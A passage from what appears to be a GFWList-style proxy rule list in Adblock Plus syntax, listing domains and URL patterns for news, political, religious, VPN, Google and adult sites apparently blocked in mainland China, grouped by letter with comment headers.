tw\\n.gamer.com.tw\\n.gamez.com.tw\\n||gamez.com.tw\\n.gaoming.net\\n||gaoming.net\\nganges.com\\n.gaopi.net\\n|http://gaopi.net\\n.gaozhisheng.org\\n.gaozhisheng.net\\ngardennetworks.com\\n||gardennetworks.org\\n!--IP of Garden Network\\n72.52.81.22\\n||gartlive.com\\n||gather.com\\n||gaymap.cc\\n.gaytube.com\\n.gazotube.com\\n||gazotube.com\\n||gcc.org.hk\\n||gclooney.com\\n.gcpnews.com\\n.gdbt.net/forum\\ngdzf.org\\n||geek-art.net\\ngeekerhome.com/2010/03/xixiang-project-cross-gfw\\n||geekmanuals.com\\n!--||genuitec.com\\n.geocities.co.jp\\n.geocities.com/SiliconValley/Circuit/5683/download.html\\nhk.geocities.com\\ngeocities.jp\\n||geohot.com\\n||geometrictools.com\\n||get-digital-help.com\\n.getchu.com\\n||getfoxyproxy.org\\n.getfreedur.com\\n||getgom.com\\n.getlantern.org\\n||getlantern.org\\n.getjetso.com/forum\\ngetiton.com\\n.getsocialscope.com\\ngfw.org.ua\\n.ggssl.com\\n||ggssl.com\\n||ghost.org\\n||ghut.org\\n||giga-web.jp\\n|http://tw.gigacircle.com\\n|http://cn.giganews.com/\\ngigporno.ru\\n||gimpshop.com\\n||girlbanker.com\\n|http://softwaredownload.gitbooks.io/\\n|https://gist.github.com\\n|http://cthlo.github.io/hktv\\n|http://wsgzao.github.io/post/gfw-break\\n||glennhilton.com\\nglobaljihad.net\\nglobalmuseumoncommunism.org\\n||globalrescue.net\\n.globalvoicesonline.org\\n||globalvoicesonline.org\\ngmbd.cn\\n||gmhz.org\\n|http://www.gmiddle.com/\\n|http://www.gmiddle.net/\\n.gmll.org\\n||gnci.org.hk\\n||goagent.biz\\n||goagentplus.com\\ngodfootsteps.org\\n||godfootsteps.org\\ngodsdirectcontact.org.tw\\n.gokbayrak.com\\n||goldbetsports.com\\n|http://www.goldenmelody.com.tw\\n||goldwave.com\\ngongmeng.info\\ngongm.in\\ngongminliliang.com\\n.gongwt.com\\n|http://gongwt.com/\\n.goodreads.com\\n||goodreads.com\\n.goodreaders.com\\n||goodreaders.com\\n.goodtv.com.tw\\n.goodtv.tv\\n||goofind.com\\n.googlesile.com\\n.gopetition.com\\n||gopetition.com\\n||gotw.ca/\\ngrandtrial.org\\n||graphis.ne.jp\\n||s.gravatar.com\\ngreatfirewall.biz\\n||greatfirewallofchina.net\\n.greatfirewallofchina.org\\n||greatfirewallofchina.org\\n.greenparty.org.tw\\n||greenpeace.org\\ngreat-firewall.com\\ngreat-roc.org\\ngreatroc.org\\ngreatzhonghua.org\\n.greenpeace.com.tw\\n.greenvpn.net\\n||greenvpn.net\\ngs-discuss.com\\n||gtricks.com\\nguancha.org\\n.gun-world.net\\n||gutteruncensored.com\\n||gvm.com.tw\\n.gzm.tv\\n||gzone-anime.info\\n\\n!----------------Google----------------\\n||abc.xyz\\n||agoogleaday.com\\n||androidify.com\\n||chromeexperiments.com\\n||chromercise.com\\n||data-vocabulary.org\\n||g.co\\n||ggpht.com\\n||gmail.com\\n||gmodules.com\\n||goo.gl\\n/^https?:\\\\/\\\\/[^\\\\/]+google\\\\.(.*)/\\n!--||google-analytics.com\\n!--||googleadservices.com\\n||googleapis.com\\n||googleartproject.com\\n||googlecode.com\\n||googlecommerce.com\\n||googledomains.com\\n||googleearth.com\\n||googledrive.com\\n||googlegroups.com\\n||googlehosted.com\\n||googlelabs.com\\n||googlemail.com\\n||googleplus.com\\n||googlesource.com\\n!--||googlesyndication.com\\n!--||googletagmanager.com\\n!--||googletagservices.com\\n||googleusercontent.com\\n||googlevideo.com\\n||googlezip.net\\n||groups.google.cn\\n||gvt0.com\\n||gvt1.com\\n||html5rocks.com\\n||nic.google\\n||panoramio.com\\n||polymer-project.org\\n||recaptcha.net\\n||registry.google\\n|http://sipml5.org/\\n!--||www.google\\n!--Youtube CDN\\n||ytimg.com\\n\\n!------------Google App Engine/Appspot-------\\n.appspot.com\\n||appspot.com\\n/^https?:\\\\/\\\\/[^\\\\/]+appspot\\\\.com/\\n\\n!-------------Google ghs-----\\n!-||1024cores.net\\n!-||www.20thingsilearned.com\\n!-||www.3dtin.com\\n!-A\\n!-||abelhadigital.com\\n!-||blog.aegisub.org\\n!-||android-x86.org\\n!-||chrome.angrybirds.com\\n!-||appbrain.com\\n!-||my.architexa.com\\n!-||feeds.arstechnica.com\\n!-||blog.athico.com\\n!-||aurorasoftworks.com\\n!-B\\n!-||www.benjamingolub.com\\n!-||rss.berryreview.com\\n!-||docs.blacktree.com\\n!-||secrets.blacktree.com\\n!-||www.blacktree.com\\n!-||feeds.boingboing.net\\n!-||moblog.bradleyit.com\\n!-||www.buddyrunner.com\\n!-||buzzcantweet.com\\n!-C\\n!-||feeds.cbsnews.com\\nchinaaid.net\\n!-||www.chinesealbumart.com\\n!-||chromeexperiments.com\\n!-||www.clementine-player.org\\n!-||data.clementine-player.org\\n!-||clemesha.org\\n!-||www.cloudgirlfriend.com\\n!-||rss.cnn.com\\n!-||cocoawithlove.com\\n!-||blog.controlspace.org\\n!-D\\n!-||www.dailygyan.com\\n!-||dailytodo.org\\n!-||blog.danmarner.com\\n!-||github.danmarner.com\\n!-||design-seeds.com\\n!-||designers-artists.com\\n!-||feeds.digg.com\\n!-||app.diu.li\\n!-||mail.diyang.org\\n!-||blog.doughellmann.com\\n!-||downforeveryoneorjustme.com\\n!-||droidsecurity.com\\n!-||www.dropmocks.com\\n!-||dumblittleman.com\\n!-||feeds.dzone.com\\n!-E\\nechofon.com\\n!-||echofon.com\\n!-||epc-jav.com\\n!-||everdark.info\\n!-||s.evernote.com\\n!-||evhead.com\\n!-F\\n!-||facilelogin.com\\n!-||*.fatduck.org\\n!-||blog.fdcn.org\\n!-||fftogo.com\\n!-||flightsimtalk.com\\n!-||mclee.foolme.net\\n!-||www.frienddeck.com\\n!-||fringespoilers.com\\n!-||fringetelevision.com\\n!-||funpea.com\\n!-G\\n!-||blog.gatein.org\\n!-||feeds.gawker.com\\n!-||geektang.com\\n!-||geohot.us\\n!-||getaround.com\\n!-||gmer.net\\n!-||www.gmote.org\\n!-||blog.go2web20.net\\n!--||blog.google.org\\n!-||google-melange.com\\n||golang.org\\n!-||fame.gonzolabs.org\\n!-||govecn.org\\n!-||gqueues.com\\n!-||graphycalc.com\\n||greasespot.net\\n!-||blog.growlforwindows.com\\n!-H\\n!-||hcm.com.tw\\n!-||blog.headius.com\\n!-||hogbaysoftware.com\\n!-||blog.hotot.org\\n!-||feeds.howstuffworks.com\\n!-||huhaitai.com\\n!-||blog.humanrightsfirst.org\\n!-I\\n!-||site.icu-project.org\\n!-||igorware.com\\n!-||ihas1337code.com\\n!-||inknouveau.com\\n!-||inote.tw\\n!-||ironhelmet.com\\n!-||iwfwcf.com\\n!-J\\n!-||blog.jangmt.com\\n!-||blog.jayfields.com\\n!-||t.jiecii.com\\n!-||blog.joint.net\\n!-||blog.jsquaredjavascript.com\\n!-||blog.jtbworld.com\\n!-K\\n!-||kathyschwalbe.com\\n!-||tomatovpn.keithmoyer.com\\n!-||www.keithmoyer.com\\n!-||kendalvandyke.com\\n!-||blog.kengao.tw\\n!-||log.keso.cn\\n!-||www.khanacademy.org\\n||www.klip.me\\n!-||usbloadergx.koureio.net\\n!-||blog.kowalczyk.info\\n!-L\\n!-||labyrinth2.com\\n!-||larsgeorge.com\\n!-||blog.lastpass.com\\n!-||docs.latexlab.org\\n!-||leanessays.com\\n!-||blog.lidaobing.info\\n!-||log.lightory.net\\n!-||feeds.limi.net\\n!-||www.liteapplications.com\\n!-||blog.liukangxu.info\\n!-||twitter.liukangxu.info\\n!-||oasisnewsroom.live4ever.us\\n!-||www.lockergnome.com\\n!-||locql.com\\n@@||site.locql.com\\n!-||feeds.loiclemeur.com\\n!-||blog.louisgray.com\\n!-M\\n!-||madebysofa.com\\n!-||mademoisellerobot.com\\n!-||masamixes.com\\n!-||www.metamuse.net\\n!-||blog.metasploit.com\\n!-||milazi.com\\n!-||www.miniweather.com\\n!-||twitter.missiu.com\\n!-||plurktop-button.mmdays.com\\n!-||feeds.mobileread.com\\n!-||www.modernizr.com\\n!-||www.modk.it\\n!-||mytwishirt.com\\n!-N\\n!-||blog.netflix.com\\n!-||blog.nihilogic.dk\\n!-||ntlk.org\\n!-||nvquan.org\\n!-||nogoodatcoding.com\\n!-||blog.notdot.net\\n!-||www.notify.io\\n!-O\\n!-||blog.obvious.com\\n!-||onebigfluke.com\\n!-||overstimulate.com\\n!-P\\n!-||pcgeekblog.com\\n!-||feeds.pdfchm.net\\n!-||feeds.people.com\\n!-||blog.persistent.info\\n!-||chrome.plantsvszombies.com\\n!-||portablesoft.org.ru\\n!-||prasannatech.net\\n!-||talk.news.pts.org.tw\\n!-||python-excel.org\\n!-Q\\n!-R\\n!-||r-chart.com\\n!-||rameshsubramanian.org\\n!-||rapid.pk\\n!-||blog.reddit.com\\n!-||blog.renanse.com\\n!-||robertmao.com\\n!-||www.romeo-foxtrot.com\\n!-S\\n!-||salmiyuck.com\\n!-||samsal.com\\n!-||blog.seeminglee.com\\n!-||blog.sflow.com\\n!-||blog.sigfpe.com\\n!-||simpletext.ws\\n!-||www.skulpt.org\\n!-||rss.slashdot.org\\n!-||snippetsapp.com\\n!-||w.sns.ly\\n!-||www.socialnmobile.com\\n!-||www.socialwhois.com\\n!-||spiritjb.org\\n!-||ssbook.com\\n!-||sshforwarding.com\\n!-||stationeria.com\\n!-||sunjidong.net\\n!-||syniumsoftware.com\\n@@||download.syniumsoftware.com\\n!-T\\n!-||tagxedo.com\\n!-||blog.tatoeba.org\\n!-||www.techfob.com\\n!-||teachparentstech.org\\n!-||the8pen.com\\n!-||theiphonewiki.com\\n!-||blog.thesilentnumber.me\\n!-||thesponty.com\\n!-||theultralinx.com\\n!-||blog.think-async.com\\n!-||tornadoweb.org\\n!-||transparentuptime.com\\n!-||triangulationblog.com\\n!-||blog.tsunanet.net\\n!-||en.tuxero.com\\n!-||twazzup.com\\n!-||tweetswell.com\\n!-||twibes.com\\n!-||art.twgg.org\\n!-||twivert.com\\n!-U\\n|http://ub0.cc\\n!-||jonny.ubuntu-tw.net\\n!-||blog.umonkey.net\\n!-V\\n!-||tp.vbap.com.au\\n!-||www.virtuousrom.com\\n!-||blog.visibotech.com\\n!-W\\n!-||waveprotocol.org\\n!-||www.wavesandbox.com\\n!-||webfee.org.ru\\n!-||blog.webmproject.org\\n!-||webupd8.org\\n!-||www.whatbrowser.org\\n!-||www.wheredoyougo.net\\n!-||willhains.com\\n!-||feeds.wired.com\\n!-||wisemapping.org\\nwozy.in\\n!-||wozy.in/\\n!-||blog.wundercounter.com\\n!-X\\n!-||xdelta.org\\n!-||xiaogaozi.org\\n!-||xilou.us\\n!-||xzy.org.ru\\n!-Y\\n!-||yooper.be\\n!-||tsong.yunxi.net\\n!-Z\\n\\n!-------------Google Minganci-----\\n!--@@||ipv6.google.com\\n\\ngospelherald.com\\n||gospelherald.com\\n|http://hk.gradconnection.com/\\n||grangorz.org\\n||graylog2.org\\ngreatfire.org\\n||greatfire.org\\ngreatfirewallofchina.org\\n||greatroc.tw\\n||gstatic.com\\n.gu-chu-sum.org\\n|http://gu-chu-sum.org\\nguishan.org\\n||guishan.org\\n||gunsamerica.com\\n|http://gvlib.com\\n.gyalwarinpoche.com\\n.gyatsostudio.com\\n\\n!--------------------HH--------------------\\n||h-china.org\\nh1n1china.org\\n.hacken.cc/bbs\\n||hackthatphone.net\\nhahlo.com\\n||hakkatv.org.tw\\n|http://bbs.hanminzu.org/\\n.hanunyi.com\\n|http://ae.hao123.com\\n|http://ar.hao123.com\\n|http://br.hao123.com\\n|http://en.hao123.com\\n|http://id.hao123.com\\n|http://jp.hao123.com\\n|http://ma.hao123.com\\n|http://sa.hao123.com\\n|http://th.hao123.com\\n|http://tw.hao123.com\\n|http://vn.hao123.com\\n||hardsextube.com\\n.harunyahya.com\\n||hasaowall.com\\nhave8.com\\n@@||haygo.com\\n||hdtvb.net\\n||heartyit.com\\n.hecaitou.net\\n||hecaitou.net\\n.hechaji.com\\n||hechaji.com\\n||heeact.edu.tw\\n||helplinfen.com\\n||helloandroid.com\\n||helloqueer.com\\nhellotxt.com\\n||hellotxt.com\\n||htxt.it/\\n.hellouk.org/forum/lofiversion\\n.helpeachpeople.com\\n||helpeachpeople.com\\n.helpzhuling.org\\n\\n!###########--Heroku--##########\\n||date.fm\\n||flightcaster.com\\n||branch.com\\n||awardwinningfjords.com\\n||futureme.org\\n||getcloudapp.com\\n||cl.ly\\n@@||f.cl.ly\\n||getsmartlinks.com\\n||git-scm.com\\n||lesscss.org\\n||list.ly\\n||maxgif.com\\n||overlapr.com\\n||peerpong.com\\n||pose.com\\n!--||rubyinstaller.org\\n||samsoff.es\\n||sendoid.com\\n||speckleapp.com\\n||stuffimreading.net\\n||tomayko.com\\n||twt.fm\\n||views.fm\\n\\nheqinglian.net\\nhere4news.com\\n||heungkongdiscuss.com\\n!--Google employee within Google IP\\n||hexxeh.net\\napp.heywire.com\\n.hgseav.com\\nhidden-advent.org\\n||hidden-advent.org\\nhidecloud.com/blog/2008/07/29/fuck-beijing-olympics.html\\n||hide.me\\n.hidemyass.com\\n||hidemyass.com\\n||hideipvpn.com\\n.hihiforum.com\\n|http://hihiforum.com\\n||hihistory.net\\n.higfw.com\\n||highrockmedia.com\\n||hiitch.com\\n||hikinggfw.org\\n.himalayan-foundation.org\\n.himemix.com\\n||himemix.com\\n.himemix.net\\ntimes.hinet.net\\n.hjclub.info\\n.hk-pub.com/forum\\n|http://hk-pub.com\\n.hk32168.com\\n||hk32168.com\\napp.hkatvnews.com/v3\\nhkbc.net\\n.hkbf.org\\n.hkchurch.org\\nhkday.net\\n.hkdailynews.com.hk/china.php\\n.hkej.com\\n.hkepc.com/forum/viewthread.php?tid=1153322\\nglobal.hkepc.com*forum\\nhkfront.org\\nhkgolden.com\\n.hkgreenradio.org/home\\n.hkheadline.com*blog\\n.hkheadline.com/instantnews\\nhkhkhk.com\\nhkjc.com\\n.hkjp.org\\nhkptu.org\\n.hkreporter.com\\n||hkreporter.com\\n|http://hkupop.hku.hk/\\n.hkwcc.org.hk\\n||hkzone.org\\nhnjhj.com\\n||hnjhj.com\\n||hola.com\\n||hola.org\\nholyspiritspeaks.org\\n||holyspiritspeaks.org\\n||derekhsu.homeip.net\\n|http://homeservershow.com\\n|http://old.honeynet.org/scans/scan31/sub/doug_eric/spam_translation.html\\nhongmeimei.com\\n||hongzhi.li\\nhootsuite.com\\n||hootsuite.com\\n|http://globalrescue.hopto.org/\\nhotpot.hk\\n.hotshame.com\\n||hotspotshield.com\\n||hougaige.com\\n||howtoforge.com\\n.hqcdp.org\\n||hqcdp.org\\n.hrcir.com\\n.hrcchina.org\\n.hrichina.org\\n||hrichina.org\\n.hrw.org\\n||hrw.org\\n||hsjp.net\\n||hsselite.com\\n.htkou.net\\n||htmldog.com\\nhuaglad.com\\n.huanghuagang.org\\n||huanghuagang.org\\n.huaren.us\\n||huaren.us\\nhuaxia-news.com\\nhuaxiabao.org\\nhuaxin.ph\\nhua-yue.net\\n||hugoroy.eu\\n||huhaitai.com\\n||huhamhire.com\\nhumanrightsbriefing.org\\n||hung-ya.com\\n||hungerstrikeforaids.org\\n||huping.net\\n||hutianyi.net\\nhutong9.net\\n||hwayue.org.tw\\n||hwinfo.com\\nhxwq.org\\n||hypeshell.com\\n||hyperrate.com\\n\\n!--------------------II--------------------\\n.i-cable.com\\n||i1.hk\\n||i2p2.de/\\n||i2runner.com\\niask.ca\\n||iask.ca\\niask.bz\\n||iask.bz\\nibiblio.org/pub/packages/ccic\\n||iblogserv-f.net\\nibros.org\\n|http://cn.ibtimes.com\\nblogs.icerocket.com/tag\\n.icij.org\\n||icl-fi.org\\n\\n!--http://furbo.org/2015/01/28/grass-mud-horse/\\n||iconfactory.com\\n\\n||iconpaper.org\\n!-- Google Pages\\n||icu-project.org\\nw.idaiwan.com/forum\\nidemocracy.asia\\n.identi.ca\\n||identi.ca\\n||idiomconnection.com\\n|http://www.idlcoyote.com\\n.idouga.com\\nforum.idsam.com\\n.idv.tw\\nieasynews.net\\n.ied2k.net\\n|http://if.ttt/\\nifanqiang.com\\n.ifanr.com/857\\n.ifcss.org\\n||ifcss.org\\nifjc.org\\n|http://ift.tt\\n||ifreewares.com\\n||igfw.net\\n||ignitedetroit.net\\n||igvita.com\\n||ihakka.net\\n||iicns.com\\n||illusionfactory.com\\n||ilove80.be\\n||im.tv\\n@@||myvlog.im.tv\\n||im88.tw\\n.imagefap.com\\n||imagefap.com\\n||imageflea.com\\nimageshack.us\\n||imagevenue.com\\n||imagezilla.net\\n!--.imdb.com\\n!--|http://imdb.com\\n|http://www.imdb.com/name/nm0482730\\n|http://www.imdb.com/title/tt0819354/\\n.img.ly\\n||img.ly\\n.imkev.com\\n||imkev.com\\n.imlive.com\\nimmigration.gov.tw\\n|http://tech2.in.com/video/\\n||incredibox.fr\\n.initiativesforchina.org\\n.inmediahk.net\\n||inmediahk.net\\n||innermongolia.org\\n.instagram.com\\n||instagram.com\\n||interfaceaddiction.com\\n||internationalrivers.org\\n|http://internet.org/\\ninternetdefenseleague.org\\ninternetfreedom.org\\n!--||interpol.int\\n||internetpopculture.com\\ninxian.com\\n||inxian.com\\n||ipcf.org.tw\\n||iphone4hongkong.com\\n||iphonehacks.com\\n||iphonix.fr\\n||ipicture.ru\\n!--ipobar.com\\n||ippotv.com\\n|https://*.iptorrents.com\\n|https://iptorrents.com\\n||ipvanish.com\\niredmail.org\\n||ironicsoftware.com\\n||ironbigfools.compython.net\\n||ironpython.net\\n.beta.iset.com.tw/forum\\nhttp://beta.iset.com.tw/forum\\nforum.iset.com.tw\\n.islam.org.hk\\n.islamicity.com\\n.isaacmao.com\\n||isaacmao.com\\n||isgreat.org\\n||ismaelan.com\\n||ismprofessional.net\\nisohunt.com\\n||israbox.com\\nblog.istef.info/2007/10/21/myentunnel\\n.istockphoto.com\\nisunaffairs.com\\nisuntv.com\\nitaboo.info\\n||itaboo.info\\ndownload.ithome.com.tw\\nithelp.ithome.com.tw\\n||itshidden.com\\n.itweet.net\\n|http://itweet.net\\n.iu45.com\\n||iuhrdf.org\\n.iverycd.com\\n||lvv2.com\\n||ixquick.com\\niyouport.com\\n||iyouport.com\\n.izaobao.us\\n||gmozomg.izihost.org\\n.izles.net\\n\\n!--------------------JJ--------------------\\n||j.mp\\nblog.jackjia.com\\n||japan-whores.com\\n.javbus.com\\njbtalks.cc\\njbtalks.com\\njbtalks.my\\n.jdwsy.com\\njeanyim.com\\n||jgoodies.com\\n||jiaoyou8.com\\n.jiehua.cz\\n||hk.jiepang.com\\n||tw.jiepang.com\\njieshibaobao.com\\njigong1024.com\\njinbushe.org\\n||jinbushe.org\\nzhao.jinhai.de\\njingpin.org\\n||jingpin.org\\nac.jiruan.net\\n||jitouch.com\\njkforum.net\\n||jma.go.jp\\nresearch.jmsc.hku.hk/social\\n||joachims.org\\n||jobso.tv\\n||joeedelman.com\\n||journalofdemocracy.org\\njpopforum.net\\n||juliereyc.com\\n||junauza.com\\n.junefourth-20.net\\n||junefourth-20.net\\njustfreevpn.com\\njusttristan.com\\njuyuange.org\\njuziyue.com\\n||juziyue.com\\n||jwmusic.org\\n@@||music.jwmusic.org\\n.jyxf.net\\n\\n!--------------------KK--------------------\\n||ka-wai.com\\n.kagyuoffice.org\\n||kagyuoffice.org\\n||kagyuoffice.org.tw\\n.kaiyuan.de\\n||kakao.com\\nkanzhongguo.com\\nkanzhongguo.eu\\n||karayou.com\\n||kcsoftwares.com\\n.kechara.com\\n.keepandshare.com/visit/visit_page.php?i=688154\\n||keepvid.com\\n.kendincos.net\\n.kenengba.com\\n||kenengba.com\\n||keontech.net\\nwiki.keso.cn/Home\\n.khabdha.org\\n.khmusic.com.tw\\nbbs.kimy.com.tw\\n||kindleren.com\\n.kingdomsalvation.org\\nkinghost.com\\n.kingstone.com.tw\\nkillwall.com\\n||killwall.com\\n.kissbbao.cn\\n|http://kiwi.kz\\n||kmt.org.tw\\n.knowledgerush.com/kr/encyclopedia\\n||kodingen.com\\n@@||www.kodingen.com\\n||kompozer.net\\n||koolsolutions.com\\n.koornk.com\\n||koornk.com\\n.kui.name/event\\n.kuliwang.com\\nkun.im\\n.kurashsultan.com\\n||kurtmunger.com\\nkusocity.com\\n||kwcg.ca\\nkwongwah.com.my\\nkyohk.net\\n.kzeng.info\\n||kzeng.info\\n\\n!--------------------LL--------------------\\nla-forum.org\\nladbrokes.com\\n||labiennale.org\\nlagranepoca.com\\n.lalulalu.com\\n|http://www.lamenhu.com\\nlaogai.org\\n||laogai.org\\nlaomiu.com\\n.laoyang.info\\n|http://laoyang.info\\n||laptoplockdown.com\\n||laqingdan.net\\n||larsgeorge.com\\n||lastfm.es\\nlatelinenews.com\\n.latibet.org\\n||lazarsearlymusic.com\\n||leecheukyan.org\\n|http://leirentv.ca\\nleisurecafe.ca\\n||lematin.ch\\n.lemonde.fr\\n||lenwhite.com\\nlerosua.org\\n||lerosua.org\\nblog.lester850.info\\n||lesoir.be\\nletscorp.net\\n||letscorp.net\\n.liangyou.net\\n||liangyou.net\\nliansi.org\\n.lianyue.net\\n||liaowangxizang.net\\n.liaowangxizang.net\\n||liberal.org.hk\\nlibertytimes.com.tw\\n.lidecheng.com/blog/fucking-gfw\\nlimiao.net\\nabitno.linpie.com/use-ipv6-to-fuck-gfw\\n||line.me\\n.linglingfa.com\\n||lingvodics.com\\n.linkideo.com\\n||api.linksalpha.com\\n||apidocs.linksalpha.com\\n||www.linksalpha.com\\n||help.linksalpha.com\\n||linux-engineer.net\\n||linuxconfig.org\\n||linuxreviews.org\\nlinuxtoy.org/archives/installing-west-chamber-on-ubuntu\\n.lipuman.com\\n||listentoyoutube.com\\nlistorious.com\\n||liudejun.com\\n.liuhanyu.com\\n.liujianshu.com\\n||liujianshu.com\\nliuxiaotong.com\\n||liuxiaotong.com\\nliu.lu\\n.liveleak.com\\n||liveleak.com\\n.livestation.com\\nlivestream.com\\n||livestream.com\\n||livingonline.us\\n||livingstream.com\\n||livevideo.com\\n.livevideo.com\\nlizhizhuangbi.com\\nlkcn.net\\n|http://localpresshk.com\\n||lockdown.com\\n||lockestek.com\\nlogbot.net\\n||logiqx.com\\n||logmike.com\\n.longhair.hk\\n||longtermly.net\\n.lookatgame.com\\n|http://lookatgame.com\\n||lookingglasstheatre.org\\n||lookpic.com\\n.looktoronto.com\\n.lotsawahouse.org/tibetan-masters/fourteenth-dalai-lama\\n.lotuslight.org.tw\\nhkreporter.loved.hk\\n||lrfz.com\\n.lrip.org\\n|http://lrip.org/\\n.lsd.org.hk\\n||lsd.org.hk\\nlsforum.net\\n||lsm.org\\n||lsmchinese.org\\n||lsmkorean.org\\n.lsmradio.com/rad_archives\\n.ltn.com.tw\\n|http://ltn.com.tw\\n.lupm.org\\n||lupm.org\\n||lushstories.com\\nlvhai.org\\n||lvhai.org\\n\\n!--------------------MM--------------------\\nforum.m-team.cc/forum\\n||mh4u.org\\nm-team.cc/forum\\nwww.macrovpn.com\\n||mad-ar.ch\\n|http://maiplus.com\\n||marc.info\\nmarguerite.su\\n||martincartoons.com\\n.maiio.net\\nmail-archive.com\\n.malaysiakini.com\\n||makemymood.com\\n||marines.mil\\nmarkmail.org*message\\n||martau.com\\n.martsangkagyuofficial.org\\n|http://martsangkagyuofficial.org\\nmaruta.be/forget\\n.marxist.com\\n||marxist.net\\n.marxists.org/chinese\\n!--mashable.com\\n!--||mashable.com\\n||matainja.com\\n||mathiew-badimon.com\\n||matsushimakaede.com\\n|http://maturejp.com\\nmayimayi.com\\n||mcadforums.com\\nmcfog.com\\n.md-t.org\\n||md-t.org\\n.mediafire.com/?\\n.mediafire.com/download\\n||meetup.com\\nmefeedia.com\\n.megaporn.com\\n||megaproxy.com\\n||megarotic.com\\nmegavideo.com\\n||megurineluka.com\\nmeirixiaochao.com\\n||melon-peach.com\\nmemedia.cn\\n.memehk.com\\n||memehk.com\\n.memrijttm.org\\nmerit-times.com.tw\\n.mesotw.com/bbs\\n.metacafe.com\\n||meteorshowersonline.com\\n|http://www.metro.taipei/\\n||metrolife.ca\\n||mgoon.com\\n||mgstage.com\\nmhradio.org\\n|http://michaelanti.com\\n||michaelmarketl.com\\nmiddle-way.net\\n.mihk.hk/forum\\nmihua.org\\n.mimivip.com\\n.mimivv.com\\n.mindrolling.org\\n|http://mindrolling.org\\nminghui.org\\n||minghui.org\\nminghui-a.org\\nminghui-b.org\\nminghui-school.org\\n.mingjinglishi.com\\n||mingjinglishi.com\\nmingjingnews.com\\n||mingjingtimes.com\\nmingpao.com\\n.mingpaocanada.com\\n.mingpaomonthly.com\\nmingpaonews.com\\n.mingpaony.com\\n.mingpaosf.com\\n.mingpaotor.com\\n.mingpaovan.com\\n.mingshengbao.com\\n.ministrybooks.org\\n.minzhuhua.net\\n||minzhuhua.net\\nminzhuzhanxian.com\\nminzhuzhongguo.org\\n||miroguide.com\\nmirrorbooks.com\\nmitbbs.com\\n.mixero.com\\n||mixero.com\\nmixpod.com\\n.mixx.com\\n||mixx.com\\n||mizzmona.com\\n.mk5000.com\\n.mlcool.com\\n||mmaaxx.com\\nplurktop.mmdays.com\\n.mmmca.com\\n||mobatek.net\\n.mobile01.com\\n||mobileways.de\\n.mobypicture.com\\n|http://moby.to\\n||mrdoob.com\\nwiki.moegirl.org\\n||mog.com\\nmolihua.org\\n||mondex.org\\n|http://www.monlamit.org\\nc1522.mooo.com\\n||monitorchina.org\\nbbs.morbell.com\\n||morningsun.org\\n||movabletype.com\\n||moviefap.com\\n||www.moztw.org\\nmp3ye.eu\\n||mp/\\n||mpettis.com\\nmpfinance.com\\nmpinews.com\\nmrtweet.com\\n||mrtweet.com\\nnews.msn.com.tw\\nmsguancha.com\\n||mthruf.com\\n||multiply.com\\nmultiproxy.org\\nforum.mymaji.com\\nmultiupload.com\\n||muouju.com\\n||muselinks.co.jp\\n||muzi.com\\n||muzi.net\\n||mx981.com\\n.my-proxy.com\\nforum.my903.com\\nmyactimes.com\\n||my-addr.com\\n||myaudiocast.com\\n.myav.com.tw/bbs\\n||bbs.mychat.to\\n||mychinamyhome.com\\n.mychinamyhome.com\\n||www.mycould.com\\n||myeclipseide.com\\n.myforum.com.hk\\n||myforum.com.hk\\n||myforum.com.uk\\n.myfreshnet.com\\n||myparagliding.com\\n||mypopescu.com\\nmysinablog.com\\n.myspace.com\\n!--.blogs.myspace.com\\n!--||blogs.myspace.com\\n!--vids.myspace.com/index.cfm?fuseaction=vids.\\n!--viewmorepics.myspace.com\\n\\n!--------------------NN--------------------\\n||naacoalition.org\\nold.nabble.com\\n||naitik.net\\n||namsisi.com\\nnanyang.com\\n||nanyang.com\\n.nanyangpost.com\\n||nanyangpost.com\\n.nanzao.com/sc/hk-macau-tw\\n||jpl.nasa.gov\\n||pds.nasa.gov\\n/^https?:\\\\/\\\\/[^\\\\/]+line\\\\.naver\\\\.jp/\\n||navicat.com\\n.nakido.com\\n||nakido.com\\n.naol.ca\\ncyberghost.natado.com\\n||national-lottery.co.uk\\n||usno.navy.mil\\nnccwatch.org.tw\\n.nch.com.tw\\n.ncn.org\\n||ncn.org\\n||etools.ncol.com\\n.nde.de\\n.ndr.de\\nwww.ned.org\\n||nekoslovakia.net\\nt.neolee.cn\\nnetcolony.com\\nbolin.netfirms.com\\nzh.netlog.com\\nnetme.cc\\nnetworkedblogs.com\\nneverforget8964.org\\nnew-3lunch.net\\n.new-akiba.com\\n.newcenturymc.com\\n|http://newcenturymc.com\\nnewcenturynews.com\\n||newchen.com\\n.newchen.com\\n.newgrounds.com\\nnewlandmagazine.com.au\\nnews100.com.tw\\n.newscn.org\\n||newscn.org\\n||newsminer.com\\nnewspeak.cc/story\\n.newsancai.com\\n||newstapa.org\\n.newtaiwan.com.tw\\nnewtalk.tw\\n||newtalk.tw\\nnewyorktimes.com\\n!--hk*.nextmedia.com\\n!--tw*.nextmedia.com\\n!--static*.nextmedia.com\\n.nextmedia.com\\n||nexton-net.jp\\nnexttv.com.tw\\n||nga.mil\\nngensis.com\\n.nicovideo.jp/watch\\n!--||nicovideo.jp\\n||nighost.org\\nninecommentaries.com\\nnintendium.com\\ntaiwanyes.ning.com\\nusmgtcg.ning.com/forum\\n||niusnews.com\\n||njactb.org\\nnjuice.com\\n||njuice.com\\nnlfreevpn.com\\n!--no-ip.com\\n||nobel.se\\n!--.nobelprize.org\\n!--|http://nobelprize.org\\nnobelprize.org/nobel_prizes/peace/laureates/2010\\nnobodycanstop.us\\n||nobodycanstop.us\\n||nokogiri.org\\n||nokola.com\\n.norbulingka.org\\n||novelasia.com\\n|http://news.now.com/home*\\n||nownews.com\\n.nowtorrents.com\\n.noypf.com\\n||noypf.com\\n||npa.go.jp\\n.nps.gov\\n.nrk.no\\n||nrk.no\\n||nsc.gov.tw\\n.ntd.tv\\n||ntd.tv\\nntdtv.co\\nntdtv.ca\\nntdtv.org\\nntdtv.ru\\n||cbs.ntu.edu.tw\\n.nubiles.net\\n||nuexpo.com\\n||nurgo-software.com\\n.nuvid.com\\nnuzcom.com\\n.nvquan.org\\n.nwtca.org\\n||nyaa.se\\n.nydus.ca\\n||nyt.com\\n||nytco.com\\n|http://nyti.ms/\\n.nytimes.com\\n||nytimes.com\\n||nytimg.com\\nnysingtao.com\\n||nzchinese.net.nz\\n\\n!--------------------OO--------------------\\nobservechina.net\\noclp.hk\\n||october-review.org\\noffbeatchina.com\\nofficeoftibet.com\\n||ogaoga.org\\ntwtr2src.ogaoga.org\\nwww2.ohchr.org/english/bodies/cat/docs/ngos/II_China_41.pdf\\n.oikos.com.tw/v4\\n.oiktv